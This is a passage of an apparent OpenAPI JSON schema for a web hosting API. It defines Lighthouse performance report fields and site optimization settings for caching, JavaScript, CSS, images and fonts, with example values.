"reports" ], "properties": { "reports": { "type": "array", "minItems": 1, "description": "Latest available report for the site.", "items": { "type": "object", "required": [ "type", "url", "device", "lighthouse_version", "created_at", "score", "metrics", "audits" ], "properties": { "type": { "type": "string", "enum": [ "partial", "full" ], "description": "Report depth returned for the site.", "example": "partial" }, "url": { "oneOf": [ { "type": "string", "format": "uri" }, { "type": "null" } ], "description": "Site URL that Lighthouse audited.", "example": "https://example.com" }, "device": { "type": "string", "description": "Device form factor used for the audit.", "enum": [ "mobile", "desktop" ], "example": "mobile" }, "lighthouse_version": { "type": "string", "description": "Lighthouse version that produced the report.", "example": "10.4.0" }, "created_at": { "oneOf": [ { "type": "string", "format": "date-time" }, { "type": "null" } ], "description": "Time when the performance report was created.", "example": "2026-01-12T08:18:30Z" }, "score": { "oneOf": [ { "type": "integer", "minimum": 0, "maximum": 100 }, { "type": "null" } ], "description": "Performance score as an integer percentage.", "example": 88 }, "metrics": { "$ref": "#/components/schemas/PerformanceMetrics" }, "audits": { "type": "object", "required": [ "opportunities", "diagnostics", "passed", "not_applicable" ], "properties": { "opportunities": { "type": "array", "description": "Lighthouse opportunity audits with potential improvements.", "items": { "type": "object", "required": [ "title", "score" ], "properties": { "title": { "type": "string", "description": "Opportunity audit title.", "example": "Reduce unused JavaScript" }, "description": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Opportunity audit description when Lighthouse provides one.", "example": "Reduce unused JavaScript and defer loading scripts until they are required." }, "score": { "type": "number", "description": "Lighthouse audit score.", "example": 0.65 }, "display_value": { "type": "string", "description": "Human-readable savings or impact value when available.", "example": "120 KiB" } }, "example": { "title": "Reduce unused JavaScript", "description": "Reduce unused JavaScript and defer loading scripts until they are required.", "score": 0.65, "display_value": "120 KiB" } } }, "diagnostics": { "type": "array", "description": "Lighthouse diagnostic audit titles.", "items": { "type": "string" }, "example": [ "Avoid enormous network payloads" ] }, "passed": { "type": "array", "description": "Lighthouse audit titles that passed.", "items": { "type": "string" }, "example": [ "Uses passive listeners to improve scrolling performance" ] }, "not_applicable": { "type": "array", "description": "Lighthouse audit titles that do not apply to the page.", "items": { "type": "string" }, "example": [] } }, "example": { "opportunities": [ { "title": "Reduce unused JavaScript", "description": "Reduce unused JavaScript and defer loading scripts until they are required.", "score": 0.65, "display_value": "120 KiB" } ], "diagnostics": [ "Avoid enormous network payloads" ], "passed": [ "Uses passive listeners to improve scrolling performance" ], "not_applicable": [ "Does not use passive listeners" ] } }, "accessibility": { "oneOf": [ { "$ref": "#/components/schemas/LighthouseCategorySection" }, { "type": "object", "maxProperties": 0 } ], "description": "Accessibility category details, or an empty object when Lighthouse omits the category." }, "best_practices": { "oneOf": [ { "$ref": "#/components/schemas/LighthouseCategorySection" }, { "type": "object", "maxProperties": 0 } ], "description": "Best practices category details, or an empty object when Lighthouse omits the category." }, "seo": { "oneOf": [ { "$ref": "#/components/schemas/LighthouseCategorySection" }, { "type": "object", "maxProperties": 0 } ], "description": "SEO category details, or an empty object when Lighthouse omits the category." }, "pwa": { "oneOf": [ { "type": "object", "required": [ "score", "audits" ], "properties": { "score": { "type": "integer", "minimum": 0, "maximum": 100, "description": "PWA score as an integer percentage.", "example": 80 }, "audits": { "type": "object", "required": [ "manual_checks", "passed", "failing", "warnings", "not_applicable", "installability" ], "properties": { "manual_checks": { "type": "array", "description": "Audit titles requiring manual verification.", "items": { "type": "string" }, "example": [] }, "passed": { "type": "array", "description": "Audit titles that passed.", "items": { "type": "string" }, "example": [] }, "failing": { "type": "array", "description": "Audit titles that failed.", "items": { "type": "string" }, "example": [] }, "warnings": { "type": "array", "description": "Audit titles with warning-level scores.", "items": { "type": "string" }, "example": [] }, "not_applicable": { "type": "array", "description": "Audit titles that do not apply to the page.", "items": { "type": "string" }, "example": [] }, "installability": { "type": "array", "description": "PWA installability audit results.", "items": { "type": "object", "required": [ "title", "status" ], "properties": { "title": { "type": "string", "description": "Installability audit title.", "example": "Web app manifest meets installability requirements" }, "status": { "type": "string", "enum": [ "passed", "failed" ], "description": "Installability audit status.", "example": "passed" }, "description": { "oneOf": [ { "type": "string" }, { "type": "null" } ], "description": "Installability audit description when available.", "example": "The manifest has the required fields." } }, "example": { "title": "Web app manifest meets installability requirements", "status": "passed", "description": "The manifest has the required fields." } } } }, "example": { "manual_checks": [], "passed": [], "failing": [], "warnings": [], "not_applicable": [], "installability": [ { "title": "Web app manifest meets installability requirements", "status": "passed", "description": "The manifest has the required fields." } ] } } }, "example": { "score": 80, "audits": { "manual_checks": [], "passed": [], "failing": [], "warnings": [], "not_applicable": [], "installability": [ { "title": "Web app manifest meets installability requirements", "status": "passed", "description": "The manifest has the required fields." } ] } } }, { "type": "object", "maxProperties": 0 } ], "description": "PWA category details, or an empty object when Lighthouse omits the category." } }, "example": { "type": "partial", "url": "https://example.com", "device": "mobile", "lighthouse_version": "10.4.0", "created_at": "2026-01-12T08:18:30Z", "score": 88, "metrics": { "load_time": { "value": 2.1, "unit": "second" }, "page_size": { "value": 1024000, "unit": "bytes" }, "request_count": { "value": 45, "unit": "requests" }, "first_contentful_paint": { "value": 1200.5, "unit": "millisecond", "score": 0.95 }, "largest_contentful_paint": { "value": 1800.2, "unit": "millisecond", "score": 0.88 }, "speed_index": { "value": 2000, "unit": "millisecond", "score": 0.9 }, "interactive": { "value": 3100.8, "unit": "millisecond", "score": 0.85 }, "total_blocking_time": { "value": 180, "unit": "millisecond", "score": 0.92 }, "cumulative_layout_shift": { "value": 0.05, "score": 0.98 } }, "audits": { "opportunities": [ { "title": "Reduce unused JavaScript", "description": "Reduce unused JavaScript and defer loading scripts until they are required.", "score": 0.65, "display_value": "120 KiB" } ], "diagnostics": [ "Avoid enormous network payloads" ], "passed": [ "Uses passive listeners to improve scrolling performance" ], "not_applicable": [ "Does not use passive listeners" ] } } } } } } }, "example": { "performance": { "reports": [ { "type": "partial", "url": "https://example.com", "device": "mobile", "lighthouse_version": "10.4.0", "created_at": "2026-01-12T08:18:30Z", "score": 88, "metrics": { "load_time": { "value": 2.1, "unit": "second" }, "page_size": { "value": 1024000, "unit": "bytes" }, "request_count": { "value": 45, "unit": "requests" }, "first_contentful_paint": { "value": 1200.5, "unit": "millisecond", "score": 0.95 }, "largest_contentful_paint": { "value": 1800.2, "unit": "millisecond", "score": 0.88 }, "speed_index": { "value": 2000, "unit": "millisecond", "score": 0.9 }, "interactive": { "value": 3100.8, "unit": "millisecond", "score": 0.85 }, "total_blocking_time": { "value": 180, "unit": "millisecond", "score": 0.92 }, "cumulative_layout_shift": { "value": 0.05, "score": 0.98 } }, "audits": { "opportunities": [ { "title": "Reduce unused JavaScript", "description": "Reduce unused JavaScript and defer loading scripts until they are required.", "score": 0.65, "display_value": "120 KiB" } ], "diagnostics": [ "Avoid enormous network payloads" ], "passed": [ "Uses passive listeners to improve scrolling performance" ], "not_applicable": [ "Does not use passive listeners" ] } } ] } } }, "PerformanceMetric": { "type": "object", "required": [ "value" ], "properties": { "value": { "oneOf": [ { "type": "number" }, { "type": "null" } ], "description": "Numeric metric value when Lighthouse provides one.", "example": 1200.5 }, "unit": { "type": "string", "description": "Metric unit. Unitless metrics omit this field.", "example": "millisecond" }, "score": { "type": "number", "minimum": 0, "maximum": 1, "description": "Lighthouse metric score when available.", "example": 0.95 } }, "example": { "value": 1200.5, "unit": "millisecond", "score": 0.95 } }, "PerformanceMetrics": { "type": "object", "required": [ "load_time", "page_size", "request_count", "first_contentful_paint", "largest_contentful_paint", "speed_index", "interactive", "total_blocking_time", "cumulative_layout_shift" ], "properties": { "load_time": { "$ref": "#/components/schemas/PerformanceMetric" }, "page_size": { "$ref": "#/components/schemas/PerformanceMetric" }, "request_count": { "$ref": "#/components/schemas/PerformanceMetric" }, "first_contentful_paint": { "$ref": "#/components/schemas/PerformanceMetric" }, "largest_contentful_paint": { "$ref": "#/components/schemas/PerformanceMetric" }, "speed_index": { "$ref": "#/components/schemas/PerformanceMetric" }, "interactive": { "$ref": "#/components/schemas/PerformanceMetric" }, "total_blocking_time": { "$ref": "#/components/schemas/PerformanceMetric" }, "cumulative_layout_shift": { "$ref": "#/components/schemas/PerformanceMetric" } }, "example": { "load_time": { "value": 2.1, "unit": "second" }, "page_size": { "value": 1024000, "unit": "bytes" }, "request_count": { "value": 45, "unit": "requests" }, "first_contentful_paint": { "value": 1200.5, "unit": "millisecond", "score": 0.95 }, "largest_contentful_paint": { "value": 1800.2, "unit": "millisecond", "score": 0.88 }, "speed_index": { "value": 2000, "unit": "millisecond", "score": 0.9 }, "interactive": { "value": 3100.8, "unit": "millisecond", "score": 0.85 }, "total_blocking_time": { "value": 180, "unit": "millisecond", "score": 0.92 }, "cumulative_layout_shift": { "value": 0.05, "score": 0.98 } } }, "LighthouseCategorySection": { "type": "object", "required": [ "score", "audits" ], "properties": { "score": { "type": "integer", "minimum": 0, "maximum": 100, "description": "Category score as an integer percentage.", "example": 96 }, "audits": { "type": "object", "required": [ "manual_checks", "passed", "failing", "warnings", "not_applicable" ], "properties": { "manual_checks": { "type": "array", "description": "Audit titles requiring manual verification.", "items": { "type": "string" }, "example": [] }, "passed": { "type": "array", "description": "Audit titles that passed.", "items": { "type": "string" }, "example": [ "Image elements have alt attributes" ] }, "failing": { "type": "array", "description": "Audit titles that failed.", "items": { "type": "string" }, "example": [] }, "warnings": { "type": "array", "description": "Audit titles with warning-level scores.", "items": { "type": "string" }, "example": [] }, "not_applicable": { "type": "array", "description": "Audit titles that do not apply to the page.", "items": { "type": "string" }, "example": [] } }, "example": { "manual_checks": [], "passed": [ "Image elements have alt attributes" ], "failing": [], "warnings": [], "not_applicable": [] } } }, "example": { "score": 96, "audits": { "manual_checks": [], "passed": [ "Image elements have alt attributes" ], "failing": [], "warnings": [], "not_applicable": [] } } }, "ShowSitePerformanceSettingsResponse": { "type": "object", "required": [ "performance" ], "description": "Response envelope containing the site's Performance settings.", "properties": { "performance": { "type": "object", "required": [ "settings" ], "description": "Performance settings wrapper.", "properties": { "settings": { "type": "object", "required": [ "cache", "javascript", "stylesheet", "images", "fonts" ], "description": "Performance optimization settings grouped by capability.", "properties": { "cache": { "type": "object", "required": [ "specific_cookies_optimized", "disable_caching_for_cookies", "disable_optimizations_for_urls", "disable_optimizations_for_query_params", "specific_cookies_optimized_toggle", "custom_urls_optimization" ], "description": "Cache and URL optimization settings.", "additionalProperties": true, "properties": { "specific_cookies_optimized": { "type": "object", "required": [ "enabled", "cookies" ], "additionalProperties": true, "description": "Cookie names that should bypass performance caching.", "properties": { "enabled": { "type": "boolean", "description": "Whether cookie-specific cache bypass is active.", "example": false }, "cookies": { "type": "array", "description": "Cookie names that bypass performance caching.", "items": { "type": "string" }, "example": [] } } }, "disable_caching_for_cookies": { "type": "object", "required": [ "enabled", "cookies" ], "additionalProperties": true, "description": "Cookie names that disable optimization.", "properties": { "enabled": { "type": "boolean", "description": "Whether optimization is disabled for matching cookies.", "example": false }, "cookies": { "type": "array", "description": "Cookie names that disable optimization.", "items": { "type": "string" }, "example": [] } } }, "disable_optimizations_for_urls": { "type": "object", "required": [ "enabled", "urls" ], "additionalProperties": true, "description": "URL paths excluded from optimization.", "properties": { "enabled": { "type": "boolean", "description": "Whether URL path exclusions are active.", "example": false }, "urls": { "type": "array", "description": "URL paths excluded from optimization.", "items": { "type": "string" }, "example": [] } } }, "disable_optimizations_for_query_params": { "type": "object", "required": [ "enabled", "params" ], "additionalProperties": true, "description": "Query parameters excluded from optimization.", "properties": { "enabled": { "type": "boolean", "description": "Whether query-parameter exclusions are active.", "example": false }, "params": { "type": "array", "description": "Query parameter names excluded from optimization.", "items": { "type": "string" }, "example": [] } } }, "specific_cookies_optimized_toggle": { "type": "object", "required": [ "enabled", "cookies_count" ], "additionalProperties": true, "description": "Global query-parameter optimization toggle with cookie count metadata.", "properties": { "enabled": { "type": "boolean", "description": "Whether all query parameters are ignored for optimization.", "example": false }, "cookies_count": { "type": "integer", "description": "Number of cookie-specific cache bypass rules.", "example": 0 } } }, "custom_urls_optimization": { "type": "object", "required": [ "enabled", "urls" ], "additionalProperties": true, "description": "Custom URL paths that should be optimized.", "properties": { "enabled": { "type": "boolean", "description": "Whether custom URL optimization is active.", "example": false }, "urls": { "type": "array", "description": "Custom URL paths to optimize.", "items": { "type": "string" }, "example": [] } } } } }, "javascript": { "type": "object", "required": [ "disable_javascript_defer", "script_minification", "javascript_execution_on_user_interaction", "optimize_execution_speed", "strategically_delay_javascript", "exclude_specific_urls_for_scripts", "enhance_scoring_by_delaying_inline_scripts", "exclude_specific_scripts_under_delay", "script_specific_minification_control" ], "description": "JavaScript optimization settings.", "additionalProperties": true, "properties": { "disable_javascript_defer": { "type": "object", "required": [ "urls" ], "additionalProperties": true, "description": "URL paths where JavaScript defer should be disabled.", "properties": { "urls": { "type": "array", "description": "URL paths where JavaScript defer should be disabled.", "items": { "type": "string" }, "example": [] } } }, "script_minification": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "JavaScript minification setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether JavaScript minification is enabled.", "example": true } } }, "javascript_execution_on_user_interaction": { "type": "object", "required": [ "enabled", "paths" ], "additionalProperties": true, "description": "JavaScript execution delay until user interaction.", "properties": { "enabled": { "type": "boolean", "description": "Whether scripts are delayed until user interaction.", "example": false }, "paths": { "type": "array", "description": "Response-only URL paths affected by interaction-based delay.", "items": { "type": "string" }, "example": [] } } }, "optimize_execution_speed": { "type": "object", "required": [ "enabled", "urls" ], "additionalProperties": true, "description": "Global JavaScript execution speed optimization.", "properties": { "enabled": { "type": "boolean", "description": "Whether global JavaScript execution speed optimization is enabled.", "example": false }, "urls": { "type": "array", "description": "Response-only URL paths affected by execution speed optimization.", "items": { "type": "string" }, "example": [] } } }, "strategically_delay_javascript": { "type": "object", "required": [ "enabled", "urls" ], "additionalProperties": true, "description": "URL paths where JavaScript should be strategically delayed.", "properties": { "enabled": { "type": "boolean", "description": "Whether strategic JavaScript delay is enabled.", "example": false }, "urls": { "type": "array", "description": "URL paths where JavaScript should be delayed.", "items": { "type": "string" }, "example": [] } } }, "exclude_specific_urls_for_scripts": { "type": "object", "required": [ "enabled", "urls" ], "additionalProperties": true, "description": "URL paths excluded from JavaScript delay.", "properties": { "enabled": { "type": "boolean", "description": "Whether URL exclusions for script delay are active.", "example": false }, "urls": { "type": "array", "description": "URL paths excluded from JavaScript delay.", "items": { "type": "string" }, "example": [] } } }, "enhance_scoring_by_delaying_inline_scripts": { "type": "object", "required": [ "enabled", "content" ], "additionalProperties": true, "description": "Inline script snippets delayed to improve scoring.", "properties": { "enabled": { "type": "boolean", "description": "Whether inline script delay is active.", "example": false }, "content": { "type": "array", "description": "Inline script snippets to delay.", "items": { "type": "string" }, "example": [] } } }, "exclude_specific_scripts_under_delay": { "type": "object", "required": [ "enabled", "scripts" ], "additionalProperties": true, "description": "Inline script snippets excluded from delay.", "properties": { "enabled": { "type": "boolean", "description": "Whether inline script delay exclusions are active.", "example": false }, "scripts": { "type": "array", "description": "Inline script snippets excluded from delay.", "items": { "type": "string" }, "example": [] } } }, "script_specific_minification_control": { "type": "object", "required": [ "enabled", "urls" ], "additionalProperties": true, "description": "URL paths excluded from script minification.", "properties": { "enabled": { "type": "boolean", "description": "Whether script-specific minification exclusions are active.", "example": false }, "urls": { "type": "array", "description": "URL paths excluded from script minification.", "items": { "type": "string" }, "example": [] } } } } }, "stylesheet": { "type": "object", "required": [ "dynamic_used_css", "include_content_of_specific_urls" ], "description": "CSS optimization settings.", "additionalProperties": true, "properties": { "dynamic_used_css": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "Dynamic used CSS setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether dynamic used CSS is enabled.", "example": true } } }, "include_content_of_specific_urls": { "type": "object", "required": [ "enabled", "urls" ], "additionalProperties": true, "description": "URL paths whose content should be included for used CSS.", "properties": { "enabled": { "type": "boolean", "description": "Whether specific URL content is included for used CSS.", "example": false }, "urls": { "type": "array", "description": "URL paths whose content should be included for used CSS.", "items": { "type": "string" }, "example": [] } } } } }, "images": { "type": "object", "required": [ "lazyload_images", "lazyloading_non_viewport_image_tags", "lazyloading_non_viewport_stylesheet_images", "exclude_specific_urls_from_lazy_loading", "disable_creation_of_picture_tags", "lazyloading_non_viewport_picture_tags", "preload_specific_image_urls" ], "description": "Image optimization settings.", "additionalProperties": true, "properties": { "lazyload_images": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "Image lazy-loading setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether image lazy-loading is enabled.", "example": true } } }, "lazyloading_non_viewport_image_tags": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "Non-viewport image tag lazy-loading setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether non-viewport image tags are lazy-loaded.", "example": true } } }, "lazyloading_non_viewport_stylesheet_images": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "Non-viewport stylesheet background image lazy-loading setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether non-viewport stylesheet images are lazy-loaded.", "example": true } } }, "exclude_specific_urls_from_lazy_loading": { "type": "object", "required": [ "enabled", "urls" ], "additionalProperties": true, "description": "URL paths excluded from image lazy-loading.", "properties": { "enabled": { "type": "boolean", "description": "Whether URL exclusions from lazy-loading are active.", "example": false }, "urls": { "type": "array", "description": "URL paths excluded from image lazy-loading.", "items": { "type": "string" }, "example": [] } } }, "disable_creation_of_picture_tags": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "Picture tag creation setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether creation of picture tags is disabled.", "example": false } } }, "lazyloading_non_viewport_picture_tags": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "Non-viewport picture tag lazy-loading setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether non-viewport picture tags are lazy-loaded.", "example": true } } }, "preload_specific_image_urls": { "type": "object", "required": [ "enabled", "urls" ], "additionalProperties": true, "description": "Image URLs to preload.", "properties": { "enabled": { "type": "boolean", "description": "Whether image URL preloading is active.", "example": false }, "urls": { "type": "array", "description": "Image URLs to preload.", "items": { "type": "string" }, "example": [] } } } } }, "fonts": { "type": "object", "required": [ "conversion_of_fonts_to_woff2", "font_subsetting" ], "description": "Font optimization settings.", "additionalProperties": true, "properties": { "conversion_of_fonts_to_woff2": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "Font conversion to WOFF2 setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether font conversion to WOFF2 is enabled.", "example": true } } }, "font_subsetting": { "type": "object", "required": [ "enabled" ], "additionalProperties": true, "description": "Font subsetting setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether font subsetting is enabled.", "example": true } } } } } }, "example": { "cache": { "specific_cookies_optimized": { "enabled": false, "cookies": [] }, "disable_caching_for_cookies": { "enabled": false, "cookies": [] }, "disable_optimizations_for_urls": { "enabled": false, "urls": [] }, "disable_optimizations_for_query_params": { "enabled": false, "params": [] }, "specific_cookies_optimized_toggle": { "enabled": false, "cookies_count": 0 }, "custom_urls_optimization": { "enabled": false, "urls": [] } }, "javascript": { "disable_javascript_defer": { "urls": [] }, "script_minification": { "enabled": true }, "javascript_execution_on_user_interaction": { "enabled": false, "paths": [] }, "optimize_execution_speed": { "enabled": false, "urls": [] }, "strategically_delay_javascript": { "enabled": false, "urls": [] }, "exclude_specific_urls_for_scripts": { "enabled": false, "urls": [] }, "enhance_scoring_by_delaying_inline_scripts": { "enabled": false, "content": [] }, "exclude_specific_scripts_under_delay": { "enabled": false, "scripts": [] }, "script_specific_minification_control": { "enabled": false, "urls": [] } }, "stylesheet": { "dynamic_used_css": { "enabled": true }, "include_content_of_specific_urls": { "enabled": false, "urls": [] } }, "images": { "lazyload_images": { "enabled": true }, "lazyloading_non_viewport_image_tags": { "enabled": true }, "lazyloading_non_viewport_stylesheet_images": { "enabled": true }, "exclude_specific_urls_from_lazy_loading": { "enabled": false, "urls": [] }, "disable_creation_of_picture_tags": { "enabled": false }, "lazyloading_non_viewport_picture_tags": { "enabled": true }, "preload_specific_image_urls": { "enabled": false, "urls": [] } }, "fonts": { "conversion_of_fonts_to_woff2": { "enabled": true }, "font_subsetting": { "enabled": true } } } } } } }, "example": { "performance": { "settings": { "cache": { "specific_cookies_optimized": { "enabled": false, "cookies": [] }, "disable_caching_for_cookies": { "enabled": false, "cookies": [] }, "disable_optimizations_for_urls": { "enabled": false, "urls": [] }, "disable_optimizations_for_query_params": { "enabled": false, "params": [] }, "specific_cookies_optimized_toggle": { "enabled": false, "cookies_count": 0 }, "custom_urls_optimization": { "enabled": false, "urls": [] } }, "javascript": { "disable_javascript_defer": { "urls": [] }, "script_minification": { "enabled": true }, "javascript_execution_on_user_interaction": { "enabled": false, "paths": [] }, "optimize_execution_speed": { "enabled": false, "urls": [] }, "strategically_delay_javascript": { "enabled": false, "urls": [] }, "exclude_specific_urls_for_scripts": { "enabled": false, "urls": [] }, "enhance_scoring_by_delaying_inline_scripts": { "enabled": false, "content": [] }, "exclude_specific_scripts_under_delay": { "enabled": false, "scripts": [] }, "script_specific_minification_control": { "enabled": false, "urls": [] } }, "stylesheet": { "dynamic_used_css": { "enabled": true }, "include_content_of_specific_urls": { "enabled": false, "urls": [] } }, "images": { "lazyload_images": { "enabled": true }, "lazyloading_non_viewport_image_tags": { "enabled": true }, "lazyloading_non_viewport_stylesheet_images": { "enabled": true }, "exclude_specific_urls_from_lazy_loading": { "enabled": false, "urls": [] }, "disable_creation_of_picture_tags": { "enabled": false }, "lazyloading_non_viewport_picture_tags": { "enabled": true }, "preload_specific_image_urls": { "enabled": false, "urls": [] } }, "fonts": { "conversion_of_fonts_to_woff2": { "enabled": true }, "font_subsetting": { "enabled": true } } } } } }, "UpdateSitePerformanceSettingsRequest": { "type": "object", "required": [ "performance" ], "additionalProperties": true, "description": "Request envelope for updating Performance settings.", "properties": { "performance": { "type": "object", "required": [ "settings" ], "additionalProperties": true, "description": "Performance settings wrapper.", "properties": { "settings": { "type": "object", "minProperties": 1, "description": "Performance setting groups to update. Include at least one supported group.\nOmitted groups remain unchanged. Unknown groups are ignored when at least\none supported group is present.\n", "additionalProperties": true, "properties": { "cache": { "type": "object", "description": "Complete desired cache and URL optimization settings.", "additionalProperties": true, "properties": { "specific_cookies_optimized": { "type": "object", "additionalProperties": true, "description": "Cookie names that should bypass performance caching.", "properties": { "enabled": { "type": "boolean", "description": "Whether cookie-specific cache bypass should be active.", "example": false }, "cookies": { "type": "array", "description": "Cookie names that should bypass performance caching.", "items": { "type": "string" }, "example": [] } } }, "disable_caching_for_cookies": { "type": "object", "additionalProperties": true, "description": "Cookie names that should disable optimization.", "properties": { "enabled": { "type": "boolean", "description": "Whether optimization should be disabled for matching cookies.", "example": false }, "cookies": { "type": "array", "description": "Cookie names that should disable optimization.", "items": { "type": "string" }, "example": [] } } }, "disable_optimizations_for_urls": { "type": "object", "additionalProperties": true, "description": "URL paths that should be excluded from optimization.", "properties": { "enabled": { "type": "boolean", "description": "Whether URL path exclusions should be active.", "example": false }, "urls": { "type": "array", "description": "URL paths that should be excluded from optimization.", "items": { "type": "string" }, "example": [] } } }, "disable_optimizations_for_query_params": { "type": "object", "additionalProperties": true, "description": "Query parameters that should be excluded from optimization.", "properties": { "enabled": { "type": "boolean", "description": "Whether query-parameter exclusions should be active.", "example": false }, "params": { "type": "array", "description": "Query parameter names that should be excluded from optimization.", "items": { "type": "string" }, "example": [] } } }, "specific_cookies_optimized_toggle": { "type": "object", "additionalProperties": true, "description": "Global query-parameter optimization toggle.", "properties": { "enabled": { "type": "boolean", "description": "Whether all query parameters should be ignored for optimization.", "example": true } } }, "custom_urls_optimization": { "type": "object", "additionalProperties": true, "description": "Custom URL paths that should be optimized.", "properties": { "enabled": { "type": "boolean", "description": "Whether custom URL optimization should be active.", "example": true }, "urls": { "type": "array", "description": "Custom URL paths to optimize.", "items": { "type": "string" }, "example": [ "/landing-page" ] } } } }, "example": { "specific_cookies_optimized_toggle": { "enabled": true } } }, "javascript": { "type": "object", "description": "Complete desired JavaScript optimization settings.", "additionalProperties": true, "properties": { "disable_javascript_defer": { "type": "object", "additionalProperties": true, "description": "URL paths where JavaScript defer should be disabled.", "properties": { "urls": { "type": "array", "description": "URL paths where JavaScript defer should be disabled.", "items": { "type": "string" }, "example": [] } } }, "script_minification": { "type": "object", "additionalProperties": true, "description": "JavaScript minification setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether JavaScript minification should be enabled.", "example": true } } }, "javascript_execution_on_user_interaction": { "type": "object", "additionalProperties": true, "description": "JavaScript execution delay until user interaction.", "properties": { "enabled": { "type": "boolean", "description": "Whether scripts should be delayed until user interaction.", "example": false } } }, "optimize_execution_speed": { "type": "object", "additionalProperties": true, "description": "Global JavaScript execution speed optimization.", "properties": { "enabled": { "type": "boolean", "description": "Whether global JavaScript execution speed optimization should be enabled.", "example": false } } }, "strategically_delay_javascript": { "type": "object", "additionalProperties": true, "description": "URL paths where JavaScript should be strategically delayed.", "properties": { "enabled": { "type": "boolean", "description": "Whether strategic JavaScript delay should be enabled.", "example": false }, "urls": { "type": "array", "description": "URL paths where JavaScript should be delayed.", "items": { "type": "string" }, "example": [] } } }, "exclude_specific_urls_for_scripts": { "type": "object", "additionalProperties": true, "description": "URL paths that should be excluded from JavaScript delay.", "properties": { "enabled": { "type": "boolean", "description": "Whether URL exclusions for script delay should be active.", "example": false }, "urls": { "type": "array", "description": "URL paths that should be excluded from JavaScript delay.", "items": { "type": "string" }, "example": [] } } }, "enhance_scoring_by_delaying_inline_scripts": { "type": "object", "additionalProperties": true, "description": "Inline script snippets that should be delayed to improve scoring.", "properties": { "enabled": { "type": "boolean", "description": "Whether inline script delay should be active.", "example": false }, "content": { "type": "array", "description": "Inline script snippets to delay.", "items": { "type": "string" }, "example": [] } } }, "exclude_specific_scripts_under_delay": { "type": "object", "additionalProperties": true, "description": "Inline script snippets that should be excluded from delay.", "properties": { "enabled": { "type": "boolean", "description": "Whether inline script delay exclusions should be active.", "example": false }, "scripts": { "type": "array", "description": "Inline script snippets that should be excluded from delay.", "items": { "type": "string" }, "example": [] } } }, "script_specific_minification_control": { "type": "object", "additionalProperties": true, "description": "URL paths that should be excluded from script minification.", "properties": { "enabled": { "type": "boolean", "description": "Whether script-specific minification exclusions should be active.", "example": false }, "urls": { "type": "array", "description": "URL paths that should be excluded from script minification.", "items": { "type": "string" }, "example": [] } } } }, "example": { "script_minification": { "enabled": true } } }, "stylesheet": { "type": "object", "description": "Complete desired CSS optimization settings.", "additionalProperties": true, "properties": { "dynamic_used_css": { "type": "object", "additionalProperties": true, "description": "Dynamic used CSS setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether dynamic used CSS should be enabled.", "example": true } } }, "include_content_of_specific_urls": { "type": "object", "additionalProperties": true, "description": "URL paths whose content should be included for used CSS.", "properties": { "enabled": { "type": "boolean", "description": "Whether specific URL content should be included for used CSS.", "example": false }, "urls": { "type": "array", "description": "URL paths whose content should be included for used CSS.", "items": { "type": "string" }, "example": [] } } } }, "example": { "dynamic_used_css": { "enabled": true } } }, "images": { "type": "object", "description": "Complete desired image optimization settings.", "additionalProperties": true, "properties": { "lazyload_images": { "type": "object", "additionalProperties": true, "description": "Image lazy-loading setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether image lazy-loading should be enabled.", "example": true } } }, "lazyloading_non_viewport_image_tags": { "type": "object", "additionalProperties": true, "description": "Non-viewport image tag lazy-loading setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether non-viewport image tags should be lazy-loaded.", "example": true } } }, "lazyloading_non_viewport_stylesheet_images": { "type": "object", "additionalProperties": true, "description": "Non-viewport stylesheet background image lazy-loading setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether non-viewport stylesheet images should be lazy-loaded.", "example": true } } }, "exclude_specific_urls_from_lazy_loading": { "type": "object", "additionalProperties": true, "description": "URL paths that should be excluded from image lazy-loading.", "properties": { "enabled": { "type": "boolean", "description": "Whether URL exclusions from lazy-loading should be active.", "example": false }, "urls": { "type": "array", "description": "URL paths that should be excluded from image lazy-loading.", "items": { "type": "string" }, "example": [] } } }, "disable_creation_of_picture_tags": { "type": "object", "additionalProperties": true, "description": "Picture tag creation setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether creation of picture tags should be disabled.", "example": false } } }, "lazyloading_non_viewport_picture_tags": { "type": "object", "additionalProperties": true, "description": "Non-viewport picture tag lazy-loading setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether non-viewport picture tags should be lazy-loaded.", "example": true } } }, "preload_specific_image_urls": { "type": "object", "additionalProperties": true, "description": "Image URLs that should be preloaded.", "properties": { "enabled": { "type": "boolean", "description": "Whether image URL preloading should be active.", "example": false }, "urls": { "type": "array", "description": "Image URLs to preload.", "items": { "type": "string" }, "example": [] } } } }, "example": { "lazyload_images": { "enabled": true } } }, "fonts": { "type": "object", "description": "Complete desired font optimization settings.", "additionalProperties": true, "properties": { "conversion_of_fonts_to_woff2": { "type": "object", "additionalProperties": true, "description": "Font conversion to WOFF2 setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether font conversion to WOFF2 should be enabled.", "example": true } } }, "font_subsetting": { "type": "object", "additionalProperties": true, "description": "Font subsetting setting.", "properties": { "enabled": { "type": "boolean", "description": "Whether font subsetting should be enabled.", "example": true } } } }, "example": { "font_subsetting": { "enabled": true } } } }, "example": { "cache": { "specific_cookies_optimized_toggle": { "enabled": true }, "custom_urls_optimization": { "enabled": true, "urls": [ "/landing-page" ] } }, "javascript": { "script_minification": { "enabled": true } } } } } } }, "example": { "performance": { "settings": { "cache": { "specific_cookies_optimized_toggle": { 